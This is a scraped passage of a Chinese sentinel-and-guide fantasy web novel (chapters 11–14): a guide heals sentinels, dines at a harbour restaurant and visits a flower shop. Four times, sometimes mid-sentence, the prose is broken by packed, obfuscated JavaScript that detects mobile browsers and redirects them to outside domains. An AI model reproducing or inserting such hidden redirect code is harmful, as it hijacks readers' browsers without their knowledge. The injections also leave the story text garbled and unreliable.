这种压迫感并不叫人难受，反倒让乔伊斯再度忆起体内的疼痛被对方澎湃的精神力全面压制时，内心前所未有的宁静与平和。 她越是强大，越叫他安心。 “阿洛哈……” 星岚试探着叫了一声德牧，虽然有乔伊斯这位哨兵主人的首肯，但她还是克制地选择了只摸大狗的脑袋，阿洛哈眯起眼睛，主动蹭了蹭向导掌心，随即直接将头搭在轮椅扶手上，湿漉漉的眼睛让人几乎忽略它的体型，直看得人心软。 在这双眼睛的诱惑下，星岚还是没忍住，顺了顺大狗的背毛，收手前，又下意识挠挠狗狗下巴。 等重新抬头，看见身前哨兵已然红透的哨兵，星岚手指蜷了下，猛然反应过来，刚一不留神就把前世撸狗的习惯带过来了，还好她没顺手再拍下狗屁股，不然就真成社死现场了。 实在是阿洛哈的眼神太有欺骗性，星岚忍住捂脸的冲动，刚摸着摸着就忘记它精神体的身份了。 好在和精神体通感的哨兵看起来并没有要和她计较的意思。 “我去看看柯林。” 乔伊斯留下这句话，便脚步匆促地进了治疗区。 挂帘被重新拉上，星岚努力将视线从还趴在自己身边的阿洛哈身上移开，死手，控制一下，今天不能再摸了。 办公桌上，一直旁观的小乌伸出根触腕，非常有前辈风范地拍了拍主人的手，这种克制不住想和对方贴贴的感觉，它超懂的，所以，前面定的那些规矩是不是可以再放宽一点？ 可惜冷酷的主人只许州官放火，毫不犹豫拒绝了它的讨好卖乖。 她是得到许可后才动手的，只是最后有点摸上头了。 星岚屈指敲了敲小乌脑袋，还是那句话，“未经允许，不许乱摸！” 小乌不动了，它今天一定要和这个冷漠无情的女人绝交三分钟，谁拦也没用。 星岚没理会原地装死的精神体，整理完第二份治疗档案后，她开始思考接下来的工作安排。 现在做全套的污染净化对她可以调用的精神力储量来说，还是有些勉强了，而且治疗床现在给柯林用着，星岚今天就不准备再约第三个病人。 但类似的情况以后或许还会出现，以达克莱斯的哨兵数量，她需要提前做应急准备，现在的治疗室床位也不够用，星岚转着手里的笔，思索成功向上面申请扩建治疗室的可能性。 中心基地的资源并不足以让研究院大批量制作治疗床，很多材料还需要哨兵组队前往荒原甚至是其他城市遗址内找寻，所以申请第二张治疗床的难度会很高，就算申请到了，运送过来也需要时间。 目前先备上几张普通床位，供需要留在治疗室观察身体状况的哨兵们使用就好。 星岚一边总结，一边记录着，很快写了满满一页纸，在达克莱斯她并没有上级向导，接下来先找个时间，联系一个欧斯卡这位接引人试试。 正想着，敲门声再度传来，星岚喊了一声“进”，好奇看向门口，原本卧在一旁的阿洛哈也站了起来，目光紧紧盯着治疗室大门。 “中午好，星岚向导……” 熟悉的灰褐色短发伴随一道略有些局促的声音映入眼帘，正是之前接她来第五区的哨兵之一，算来这还是离开机场后的第一次再见，星岚同他点点头，友好招呼：“中午好，马吉。” 她说着，一边飞速扫了一眼对方的状态。 虽然马吉没明说，但他能接任务出基地，显然最低也是B级哨兵，而这已经超出了她现在的治疗能力范围，星岚有些担心地看着马吉，他应该不是为了寻求治疗来的吧？ 治疗区内，注意到外面动静的乔伊斯走了出来，同马吉行礼喊道：“副队。” “乔伊斯。”马吉并不意外地和他打了声招呼，进门时，他就看见守在向导身边的那只德牧了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421648|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马吉收回视线，重新看向星岚，细声道：“上次在飞机上的相处太过短暂，很抱歉没来得及和您完整介绍过我的身份。” “马吉，B级哨兵，陆战部第四小队副队长。” 达克莱斯的哨兵们职位划分并不复杂，除三位S级哨兵外，只以A级哨兵为首分出十八支队伍，每个小队再配备两名B级哨兵为副队长，副队长下辖约三十名低级哨兵。 其中，八支队伍归属陆战部，六支队伍属于对空部，四支属于监察会。 “柯林是我的队员，但因为巡检任务还未完成，所以只能先让后勤队员将他送回来。”马吉解释着自己晚来的原因。 基地安全大于一切，在这里生活的哨兵也早已见惯了生离死别，所以意外发生时，马吉第一时间打晕柯林让人将他送回黑塔，自己则带着剩下的队员继续巡查西部海岸线的情况。 如果没有向导，今天柯林就只能靠自己熬过去。 在过去的数十年里，达克莱斯的哨兵们都是这样熬过来的。 “感谢您对柯林的救治，星岚向导。”马吉神情认真而专注，如果没有她，也许在被完全污染前，他就会先一步崩溃于对未来无望的认知之中。 精神力并不完全等同于承受力和忍耐力，马吉一直知道自己是个懦弱的人，旁人看透的生死，他永远无法平静接受，可因为拥有B级精神力，他成了副队长之一，所以他必须要学会舍弃，假装自己也可以冷静分析得失利弊。 直到真正能改变一切的人出现。 马吉想到了在驾驶舱里收到的那颗糖，喉咙里有些发堵。 这次，他终于不用在窒息的沉默中，强撑着去说那些自己也不相信的话，柯林也没有失控，没有异化畸变，他安安静静睡在治疗床上，很快就能醒过来。 悬在头顶的利刃正在被剥离，他们终于有了喘息的余地。 星岚恍惚听见一道纤细，微弱的叫声从自己脚边传来，她下意识低头，对上了一双晶莹剔透的淡红色眼睛，下一秒，轮椅一沉，她腿上多出只灰白毛色的兔墩墩。 小臂长短的兔子毛发蓬松，看起来圆滚滚的，小巧的鼻子连着嘴巴不断翕动，似乎在感受什么，两只耳朵比记忆中的兔子短上许多，静静立在脑袋上，腿全部蜷在身下，让它看起来像是一只灰色的棉花糖团子，这是—— 马吉的精神体？ 星岚抬眸，就见对面的马吉睁大眼睛，已然陷入失语，和怀中兔子如出一辙的眼睛里满是羞窘，还浸着水意，他手足无措地上前两步，慌乱之中都忘了可以直接收回精神体，只想着赶紧把闷头往向导怀里钻的大灰兔拎走。 但隔着办公桌，他又不好意思叫向导帮忙把兔子送回来，只能干着急。 星岚好笑地看着他写满绝望的眼睛，主动将暖哄哄的兔墩墩抱起来放在了办公桌上，兔墩墩不情不愿地看着星岚，还想往她腿上跳，但不等它站起来，马吉一个箭步将精神体抱回了自己怀里。 “总之今天谢谢您了，改天我请您吃饭……” 说到吃饭，星岚精神一振，看了眼时间道：“正好是饭点，我看也不用改天了，就现在吧。” 12. Capt.12 柯林还在昏睡，一时半会儿不会醒过来，星岚披上外套，招呼着马吉和乔伊斯出了治疗室。 三人穿过昏暗的前廊来到塔外，明晃晃的阳光当头罩下，星岚看着日光里线条简约干净的建筑，忍不住眯了下双眼。 除了刚到港口那天被欧斯卡带着四处参观了下，这还是她头一次认真打量白天的达克莱斯，只粗略的几眼，就又叫她看出些与常识课上学到的不同来。 出了黑塔的外广场后，眼前是整洁的街道，宁静祥和的氛围让这里看起来不像是战事频发的交接区，更像普通民众生活的秩序区，区别只在于这里的路面上几乎见不到汽车的身影，哨兵们大多都选择了单车骑行，或者直接靠双腿慢悠悠散着步，有些离人间隔较远的，还会把精神体也放放风。 一路走来，星岚已经看见好几种不同的精神体。 衣兜里悄悄探头的小乌有些蠢蠢欲动，又被主人一把按了回去。 “在没有战事的日子里，不出任务的哨兵一般都不会留在黑塔。”马吉也没有收回自己的精神体，他抱着兔子走在轮椅旁，轻声和星岚说着完全不同于她此前认知的话。 对向导来说温度正好的阳光，此时落在哨兵身上却有些发烫，不过在漫长无声的痛苦生涯里，阳光能带给他们的痛感其实已经微乎其微。 马吉微微仰头，而他们所需要的，正是这隐约的烧灼与刺痛。 没有哨兵能拒绝这种感觉——活着的感觉。 如果有一天，连阳光落下时的痛楚都无法被分辨出来，那他们也就离彻底失控不远了。 被迫强化的五感是理智失控的直接源头，伴生的痛苦却在日月轮转中逐渐成了哨兵继续维持清醒的救命稻草，直到他们的自我意识消磨殆尽。 马吉眼角余光看向沉默推动轮椅的乔伊斯，作为第一个接受了向导治疗的哨兵，他的状态远比其他人要好得多，这点，从轮椅另一边正慢悠悠踱步向前的德牧身上也能看出来。 微不可见的艳羡掠过眼底，马吉垂眼收回视线继续介绍道：“这一片是中心街，以住宅区为主，我们现在要去的是西街，那边是商业区，非战时大多店铺都会营业，您如果感兴趣，一会儿吃过午饭我可以再带您逛一逛。” 星岚点头，“那今天麻烦你了。” “正好我也得闲。”马吉笑容羞涩，领着星岚和乔伊斯熟练地穿过几个街道，在逐渐变多的人声中，三人停在了一家临街的餐馆前。 餐馆一共两层，主体为橄榄绿，门头招牌上“鹿角餐厅”四个烫金大字在日光下璀璨夺目。 餐厅大门此时只开了一半，但开着的那边垂有深青色挂帘，所以看不见里面的情形，门边还立着块顶部雕成鹿角的小桌板，最上面贴着几个大字：今日推荐菜，再往下的手写字迹就有些潦草难以辨认了。 “是海蛎煎、黑鱼豆腐汤和海鲜炒饭哦！” 一道清亮的男声传入耳中，星岚闻言抬头，将视线从招牌移到餐馆门口，挂帘此刻被个头不高的大男孩儿拢在手里，他身上还系着条浅棕色围裙，一双白手套看起来纤尘不染，应该是鹿角餐厅的店员。 “伊昂？今天又来店里帮忙了吗？”收起怀中精神体，马吉上前熟稔地和男孩儿打了声招呼。 “中午好，马吉哥。”伊昂微圆的脸上笑容格外灿烂，一头橙色短发热情四溢，他动作麻利地将手中帘子挂到旁边，又将另一半大门全部打开，嘴里接道：“最近都没什么事，就来店里了，马吉哥要尝尝刚上的新品吗？是海胆炖蛋，我今早才捞上来的海胆，超鲜甜的！” 马吉没急着回答，先回头看了眼向导，既然说了是请客，他自然要先听听客人的想法。 伊昂的视线随之落到星岚身上，他眼珠同样是黑色，但边缘部位带了些蓝，目光纯粹天然，即使是这样直白的注视，也并不会给人冒犯的感觉。 星岚朝他微微点头算作招呼，随后又看向马吉道：“我没什么忌口，你来安排就好。” 马吉顿了下，示意乔伊斯先带向导进屋，自己和伊昂跟在后面商量菜单。 进了店门，光线瞬间暗了许多，星岚适应了片刻后，先看见的是大堂摆放整齐的桌椅，有几桌已经有客人，浓浓的食物香气弥漫在这间不大的餐馆内，极为勾人。 星岚眼眸发亮，心中已经开始期待接下来的餐品了 乔伊斯同样扫了眼大堂里相继将目光投过来的哨兵们，原本准备停下的脚重新抬起，直接带着向导拐进了左侧一间包厢。 包厢只是四人位，不算大，但对他们来说显然已经够用了，乔伊斯刚帮着星岚停稳，马吉便端着茶水走了进来，他看了眼直接在向导手边坐下的乔伊斯，走到了星岚对面的位置。 “这间餐厅虽然店面不大，但拉赫尔的厨艺是公认的港口第一，只是如今食材难得，所以真正会来光顾的哨兵不算多。”马吉烫过茶杯后，重新倒了热茶推给星岚，一边和她介绍着。 黑塔可以免费满足一个哨兵的基本需求，因此许多哨兵都会选择将补贴的信用点留给家里人，如今觉醒者百不出一，秩序区的普通民众依旧是生力军，也只有在中心基地这种秩序区，信用点的用处才最大。 而交接区的商业区不过是哨兵们无聊时发展的副业，大多带着玩笑性质，当然，也有认真试图经营的，拉赫尔便是其中之一。 他一直都很喜欢烹饪和烘焙，又从小跟在当厨师的父亲身边耳濡目染，在成为觉醒者之前，拉赫尔的目标一直都是继承家业，可惜世事无常，在成为一名能掌勺的主厨前，他先觉醒了精神力。 “你们的菜来咯！” 闲聊间，开门声伴随伊昂活力四射的语调传入包间，随之而来的是色香俱全的海鲜大餐。 肥美的海蛎子裹着蛋液和地瓜粉浆经过高温滚炸，外皮酥脆可口，内里却依旧滑嫩流汁，搭配盘中特色甜辣蘸酱，星岚直接吃得抬不起头。 海鲜炒饭是用虾头油炒的，里面还加了鱿鱼圈和干贝丝，一勺入嘴，满满都是料，更让星岚惊讶的是，她居然还在里面看见了芹菜丁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421649|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是拉赫尔大哥自己种出来的哦。” 伊昂上完菜也没急着走，坐在马吉旁边笑嘻嘻地看着他们吃饭，不时介绍两句做法，听他们夸赞拉赫尔的厨艺，自己也与有荣焉地扬起下巴。 这些水下食材都是他辛辛苦苦找的，荣誉自然也该有他一份！ “海胆炖蛋应该也好了，我去给你们端！”伊昂仿佛一只叽叽喳喳的闹钟小鸟，时间一到，他便飞出了包厢。 “伊昂队长的速度好像又变快了。”乔伊斯看着已经闭合的包厢门，感慨了一句。 星岚干饭的动作没停，但听见乔伊斯嘴里的称呼，她手里动作慢了下来，伊昂已经是A级哨兵了？可他看起来才刚成年。 A级哨兵实力强横，但五感反噬也会更严重，怪不得伊昂刚坐下时，马吉连一句客套性的邀请都没有。 是因为伊昂现在已经无法再吃正常的食物了。 一旦到了A级，哨兵的五感便完全脱离了人类的正常范畴，放大的味觉与嗅觉会让原本美味的食物在他们的感知中变质，再难下咽。 他们的食谱只剩下营养液。 “鹿角餐厅最新菜品，海胆炖蛋来啦！”欢快的嗓音再度传来，伊昂单手托着三个餐盘快步进门招呼道：“这可是拉赫尔大哥花了一晚上功夫才研究出来的最佳配比，快尝尝快尝尝！” 三份海胆炖蛋被分别放在了他们面前，黑色外壳内，海胆黄与蛋液几乎融为一体，鲜亮的橙黄色让人食欲满满。 一口下去，先感受到是蛋羹的嫩滑，随着海胆黄在唇齿间爆开，浓烈的鲜甜覆盖了整个口腔。 “蛋羹里面加的是瑶柱高汤，怎么样？这个配比喜欢吗？”伊昂说着，手里已经不知道从哪儿掏出来一个小本本打开，准备收集他们的用餐意见。 “非常美味。”星岚品尝后认真道，一旁的乔伊斯也跟着竖起大拇指。 “你们都能喜欢就太好了。”伊昂满足笑着，又朝星岚眨了眨眼睛，“星岚向导如果有什么口味偏好也可以告诉我，鹿角餐厅能针对客人口味，定制专属餐品哦！” 说着，他又从本子夹层里摸出一张做工略显粗糙的纸片递给星岚，“这上面是订餐电话，如果您在治疗室太忙的话，我们是可以为您提供免费送餐服务的，对了，熟客订餐打八折！” 放在桌子下的脚被人碰了碰，伊昂脸上笑容不变，余光瞥向身旁马吉。 马吉嘴唇动了动，声音微不可闻，“我怎么不知道鹿角餐厅什么时候提供这种服务了？？” 伊昂理直气壮回他：“拉赫尔大哥刚想的。” 之前没抢到接人名额，他们这不得在其他地方找一下存在感！ 折价外卖！还能免费配送！ 星岚仔细看了一遍号码，将它记在脑子里，诚恳道：“我会经常光顾的！” 得到肯定答案，伊昂高高兴兴合上本子，起身道：“拉赫尔大哥还等我反馈客人用餐评价，那我就不打扰你们啦。” “期待能接到您的来电，星岚向导！” 13. Capt.13 从鹿角餐厅出来，马吉停在路边看向乔伊斯，“我带星岚向导在西街再逛一逛，柯林交给你一个人照看可以吗？” 星岚闻言也看向乔伊斯，他和柯林是好友，想来留柯林一个人在治疗室，他应该还是会有些担心。 在对上乔伊斯同样看过来的视线后，星岚便朝他点了点头，示意他可以去忙自己的事，就算身边没人其实也不影响她出行，何况现在还有马吉在，没必要再让他两头为难。 见状，乔伊斯垂下眼，声音有些低，“那我就先回治疗室了。” 马吉微笑着同他挥别，而后推着向导朝来时相反的方向离开了原地，身后，乔伊斯目送着两人的背影，身侧指节微收，半晌，转身原路返回了治疗室。 由于港口里的人数不多，且常年有哨兵在各处轮值，所以商业街依旧称得上冷清，但来往的哨兵们神色都透着难得闲暇的轻松，偶尔遇见熟人，还会停下低声交谈几句。 星岚发现，马吉似乎很熟悉这里，但凡她视线多停留两秒的商铺，他都能介绍几句店主的身份以及店铺的经营情况。 一路走来，认识马吉的哨兵同样不少。 许是因为有向导在旁边，那些哨兵并未贸然凑上来，只站在不远处行了个军礼示意。 原本就不算热闹的街区，在她到来后，似乎变得更加安静了，星岚若有所觉地看着远处停下了交谈，余光不时扫向自己的哨兵们。 这并不难理解，作为港口近期唯一的生人，他们会对她感到好奇很正常。 星岚神色如常地继续参观着临街商铺们，直到一家店映入眼帘，隔着明亮的玻璃窗，她看着了色彩各异的盆栽鲜花。 “这是亚尔曼的花店，他没给店铺取过名字，大家便直接用他的名字称呼这家店了。”马吉的声音清晰落入耳中，“亚尔曼是陆战部第一小队的哨兵，已经快突破B级了，经常会和一队长巴里特去荒原上寻找物资，店里的花都是他从荒原收集种子后培育出来的。” “花种浸泡过特制的植物净化液，目前携带的污染性几近于无，除了小部分长成的花依然表现出攻击倾向，被留在种植园里进一步育种，店里的盆栽花都已经可以直接近距离观赏了。” “您要进去看看吗？” 开门带起的风铃声惊醒了原本趴在柜台上睡觉的德文猫，它抬起前爪，腰腹下沉，在桌面上伸了个懒腰，那双较其他猫咪宽大许多的耳朵直直竖起来，看向大门方向的蓝色猫眼明亮澄澈。 “喵呜～” 德文看着轮椅上的女孩儿歪了歪头，随即后腿一蹬，下一秒却被身后伸出来的手拦在了半空。 “奥布里，不可以骚扰客人。” 亚尔曼个头不高，一头黑色卷发宛如羊羔毛，带着些不羁的凌乱，五官尤带有几分少年气，看起来和伊昂差不多大，嗓音却沉稳得多。 他单手将精神体控在怀里，目光在刚进门的向导身上停顿两秒后，和德文同款的蓝色猫瞳里流露一丝歉意，“不好意思，奥布里一向没什么分寸感，希望它没有惊扰到您。” “喵喵喵！”放开我！ 奥布里显然并不喜欢亚尔曼对自己的形容，抗议着扭动身躯，它对气味明明很挑剔的！主人真是可恶喵，只差一点它就吸到香香的小姐姐了！ 小乌试探着从衣兜里冒出个脑袋尖，朋友，这种感觉它超懂的！ 星岚悄无声息把它按了回去，不，你不懂。 “奥布里很可爱。”星岚面不改色地夸赞道，对亚尔曼的遭遇有些感同身受，毕竟她也有一只稍不注意就背着自己到处贴贴的精神体。 得到这个答复，亚尔曼肉眼可见地放松了些，他努力压住上扬的嘴角，轻咳一声正声问道：“您不介意就太好了，不知道您是来买花送人还是准备带回家中做装饰观赏？需要我为您推荐吗？” “不是送人。”星岚简单回应一句后，指着自己进门前便隔着玻璃外窗看中的三色堇，“可以帮我将这盆简单打包一下吗？” “没问题。”亚尔曼将精神体放到一边，警告般敲了敲它腿边的桌面，才动作灵巧地将花盆取出来，又拿了袋子一边包装一边道：“如果您不介意，可以留我一个联系方式，关于三色堇的种植注意事项，我一会儿整理好发您一份，后期有什么养护问题，您也可以找我。” 说着，他视线扫过客人身下的轮椅，友善提议道：“您如果准备继续逛街的话，带着这盆花似乎不太方便，需要我帮您直接将它送去指定地点吗？” 星岚确实还打算再逛一逛，闻言点头，“如果不麻烦的话，请帮我送到黑塔一层A031治疗室。” 亚尔曼拿笔记录地址的动作停下，他讶然抬眸，猫眼睁圆了不少，仔细打量了星岚几眼后，他试探问道：“您就是新来的向导？” 黑塔内目前唯一的向导治疗室，亚尔曼自然也有所耳闻，不过这些天他在忙着其他事，所以并不了解向导的具体情况，只听说她已经开始接收D级哨兵的治疗申请了。 而他这个即将晋升的C级哨兵，显然并不符合治疗室的申请条件，发现自己赶不上趟，亚尔曼便更专注手头的任务了，没成想今天会在店里碰见她。 见客人毫不犹豫点头认下身份，亚尔曼抬手摸了摸自己乱糟糟的卷毛，有些眼神死。 难怪奥布里今天对客人这么热情。 星岚没能意会他眼底的欲言又止，支付完信用点后，留下地址以及联系方式她便出了店门。 马吉还等在街边，见她两手空空出来，眼底露出几分疑惑之色。 “店主说会帮我直接送到治疗室。” 星岚解释了一句，心底有些感慨，港口的哨兵真热情，穿越以来，这样直白的善意她过去只在佐文老师身上感受过。 达克莱斯虽然是交接区，这里的生活却比中心基地更有天灾前的感觉。 马吉闻言看了眼花店已经关闭的大门，他刚是想和向导一起进去的，但星岚考虑到花店里驳杂的气味对他来说会是一种刺激，拒绝了他的陪同。 马吉不想辜负向导的好意，便也没有坚持，这会儿却有些好奇里面发生了什么。 不过向导的心情看起来还不错，应该不是什么坏事，马吉垂眼思索着，没有再多问，继续推着向导向长街另一头走去。 等两人重新回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421650|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到治疗室，时间已经过去两个小时。 刚推开门，星岚就听见治疗区里面隐约有说话声传出来。 是柯林醒了吗？ 星岚心底计算着时间，进了治疗区，入目却是三道人影。 柯林确实已经醒了，这会儿捧着杯热水沉默地坐在床头，脸色仍有些苍白，看得出身体还未完全修复。 乔伊斯和欧斯卡一左一右站在床边，在向导进来的瞬间默契噤声。 “星岚向导、马吉副队长。” 欧斯卡微微欠身同两人打招呼后，他看向星岚道：“未曾提前告知便冒昧来访，打扰了。” “正好我也有些事准备寻你商量，一会儿和你细说。” 星岚摇头和他寒暄两句，没急着问欧斯卡今天找过来的原因，她将目光重新投到柯林身上，“你醒了，现在感觉怎么样？身体有没有什么不舒服的地方？” 柯林反应略有些迟钝，呆了片刻，才反应过来后面的话是在问自己。 他看着向导那头略微卷曲的暗红色长发，恍惚间，不知从何处生出的熟悉与亲近感自心底油然而生。 柯林缓慢地眨了下眼，一金一蓝的双色鸳鸯眼在灯光下透出稍显妖异的美，注意到向导目光停留在自己眼睛上，他下意识垂眸想要避开，却见纸杯里水光微荡。 柯林指尖不觉轻颤，心脏如同在被海底水草包裹拖拽，叫他喘不上气。 “我好多了，谢谢您的治疗。”因为刚醒来不久，柯林的嗓子还有些哑，他努力摆脱着隐隐约约的窒息感，没再看手中纸杯，双目紧紧盯着身前雪白的被单。 星岚没有听信他的一面之词，轮椅滚过地面，欧斯卡给她让出了位置，星岚停在床边，近距离观察着柯林的同时，出声问道：“介意我再给你做个精神力检查么？” 她的语气并不算强硬，柯林却下意识挺直了肩背，手中纸杯被乔伊斯取走，耳畔，向导清冷的声音透出安抚的意味，“不用紧张，我只是想再确认一下你身体的恢复情况。” 见她朝自己伸出一只手，柯林在乔伊斯催促的目光中，犹豫着将自己的手搭了上去。 微凉的触感从手指相接的地方传来，柯林忍不住又想打颤，手却被向导稳稳钳制在掌心，不等他做出反应，星岚已经闭上了眼睛，一缕精神力灵巧如游鱼，沿着两人相接的地方钻入了对方身体。 被异物入侵的感觉在体内不断蔓延，柯林原本没什么血色的脸慢慢染红。 不同源的力量本该被排斥，向导输入他体内的精神力却像鱼入大海，自由畅快地穿梭在他身体每一处角落，直到抵达被屏障包裹的精神海附近。 状似无害的游鱼终于露出尖牙，只等接到命令便撞开面前拦路的精神屏障。 但下一秒，这种如芒在背的感觉消失了。 柯林恍惚睁眼，才发现向导已经收手了，连带着送入他体内的精神力也被全部收回，再不见丝毫踪迹，微妙的失落感传来，他忍不住偏头，目光追着向导的手，落在她微鼓的衣兜上。 下一秒，暗红色触手在视野里飞速闪过，柯林呼吸骤然停滞。 原来，不是错觉。 14. Capt.14 “精神力波动已经趋于平稳，身体感知也基本恢复正常，接下来再好好修养一段时间就没事了。” 听向导这样说，马吉和乔伊斯脸上都露出了欣喜的神情。 作为副队，马吉更是直接道：“海兽潮刚过去没几天，暂时不会有什么紧急任务，柯林，你这些日子就安心留在黑塔安心养伤吧。” 柯林沉默点头，马吉见状上前拍了拍他的肩膀，轻声劝解道：“我知道你很想变强，但没必要再急于一时了。” “你的时间还有很多。” 最后这句话让柯林直接怔住，他下意识看向领着欧斯卡退出治疗区的向导，直到这一刻才真正惊觉，得到向导的治疗后，他的生命倒计时已经停止了。 没了悬在头顶的利剑，心底先一步涌上来的，却是深深的迷茫与无所适从。 “恭喜你，柯林。” 乔伊斯同样搭上柯林的肩，声音放得很轻，语气里透着前所未有地放松。 “作为港口第一个成功迎接新生的哨兵，要发表一下你的感言吗？” 柯林在乔伊斯打趣的声音中回神，闭眼仔细感受了一下自己现在的身体，他终于露出了醒来后的第一个微笑，随即，一只四肢矫健的豹猫出现在了三人面前。 原本只有小臂长短的豹猫看起来长大了些，此刻活力满满，完全没有过去常年生活在精神力高压下的萎靡。 抬头嗅了嗅空中的气味，豹猫毫不犹豫跳下床，目标明确地朝着治疗区外走去。 “巴泽尔……” 在马吉和乔伊斯意味深长的目光里，柯林呼唤着自己头也不回的精神体，脸上笑容僵住。 办公桌后，星岚正和欧斯卡聊着给治疗室扩建的事。 听完她的需求，欧斯卡当即一口应下，“有您这样认真负责的向导，是港口哨兵们的幸运，我很抱歉曾对您抱有偏见，星岚向导。” 向导们是在秩序区内被保护着长大的，难免有些娇纵任性，又因为觉醒数量稀少，在过去数十年里，他们地位更是一高再高，欧斯卡几乎已经习惯了向导宽以待己的治疗态度，自然也没有考虑过会出现治疗床不够用的情况。 事实上，向导能按时来治疗室就已经很难得了。 港口现在又只有这一位向导能给他们做精神疏导以及污染净化，所以，欧斯卡很清楚其他哨兵想把她供起来的心情。 此刻，向导的主动叫他很是意外，但欧斯卡更好奇她会坚持多久。 面对他郑重其事的态度，星岚显得尤为平静，向导的工作是多劳多得，上次因为医疗中心的意外，她没来得及问清自己需要的精神药剂多少信用点，但多攒一点总是没错的。 今天进门时，星岚看见关于九楼医疗中心的修补进度已经贴在了大厅的布告栏上，手头药剂尚且还够这个月的，她可以等医疗中心恢复正常运转了再去一趟。 有了打算，星岚没在这上面多纠结，扩建方案也得到同意后，她转而问起欧斯卡，“你今天过来是有其他事情吗？” 见她不居功，欧斯卡脸上表情更尊敬了些，他微笑道：“是关于您的宿舍安排，因为一些原因，您今天就可以搬去正式的住所了。” 他说得含糊，星岚不知道他嘴里的一些原因具体指什么，但这句话里的意思很明显，她又要搬家了。 星岚的私人物品不算多，其中大半还留在了佐文老师家，被接来港口时，她只来得及收拾一些在学院宿舍里放置的日用品，好在临时宿舍里的东西准备得很齐全，再加上欧斯卡有提醒她还会换地方，所以这两天星岚都没再添置东西。 这会儿得知要提前搬家，她想了想，“麻烦欧斯卡先生再等我一会儿。” 见他点头，星岚转身去了治疗区。 柯林这会儿已经恢复了不少体力，正准备从治疗床上下来，虽然接下来暂时不准备出任务，但一直待在治疗室里也不合适，所以他打算先回自己在黑塔里的单人宿舍。 “正好我下午有其他事需要离开一下，之后你们还有什么问题，随时联系我，我会再来治疗室。” “麻烦您了，星岚向导。” 柯林说着，鸳鸯眼却不时瞟向她身后的挂帘，星岚有些疑惑地转头，就见一只豹猫正从外面钻进来，随后乖乖蹲坐在了挂帘拐角里，她认得，那是柯林的精神体。 而豹猫身旁的阴影里，悄悄蠕动的触手在众人看过来的瞬间停下了动作。 星岚在衣兜里摸了个空，哪里还不明白发生了什么。 “小乌——” 小乌颤颤巍巍挪出阴影，抬起两根触腕给主人比了个心。 柯林脸颊上带着些可疑的粉，他轻咳一声，率先收回了自己的精神体，“那我们就先离开了，星岚向导，多谢您的治疗，改天我再给您送上谢礼。” “应该的。”星岚木着脸摆摆手，余光一直停在自家精神体上，人后再找它再算账的意思非常明显。 小乌八条腿一蹬，开始了装死日常。 偷偷贴贴的时候有多快乐，被抓住的时候就有多狼狈。 欧斯卡在办公桌对面的沙发上坐了没一会儿，就见三位哨兵率先出了治疗区，彼此点头打了个招呼后，欧斯卡目送他们离开治疗室，收回视线时，他看着办公桌上新送来的花盆，眉梢微挑。 都说咬人的狗不叫，陆战部的人还真是一脉相承地闷不吭声吃独食。 指尖在沙发扶手上轻点，欧斯卡陷入沉思。 明明是老大接回来的人，结果现在向导身边居然都是陆战部的人，未免叫人不爽，甚至就连向导住地的安排权也被抢走了…… 不行，他得想点正当理由，送几个对空部的人均衡一下。 也好叫陆战部知道，独占可不是什么好习惯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421651|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与此同时，黑塔最顶层一间光线昏暗的静音室内，三道人影各自盘踞一方座椅，气氛冷凝。 阿奇伯德单手按着后肩，活动了一下脖颈，一尘不染的白色短发下，鹰眼面具泛着冰冷的金属色泽，他偏头看着位于自己左前方的男人，声音似笑非笑，“我竟不知道，光明磊落的监察长什么时候也有自己的小心思了。” 即使是在用来放松的静音室内，毕夏普依旧穿着整齐，就连头顶军帽都没有一丝多余的褶痕，他独自坐在单人沙发里，一身黑色军装仿佛将整个人都带入了阴影里，只剩下腰间银链颜色分明。 阿奇伯德带着讥讽意味的话落入耳中，也没激起他半点情绪。 “决议已经通过，你该离开了。” 毕夏普声音宛如亘古不化的坚冰，极冷，也极清。 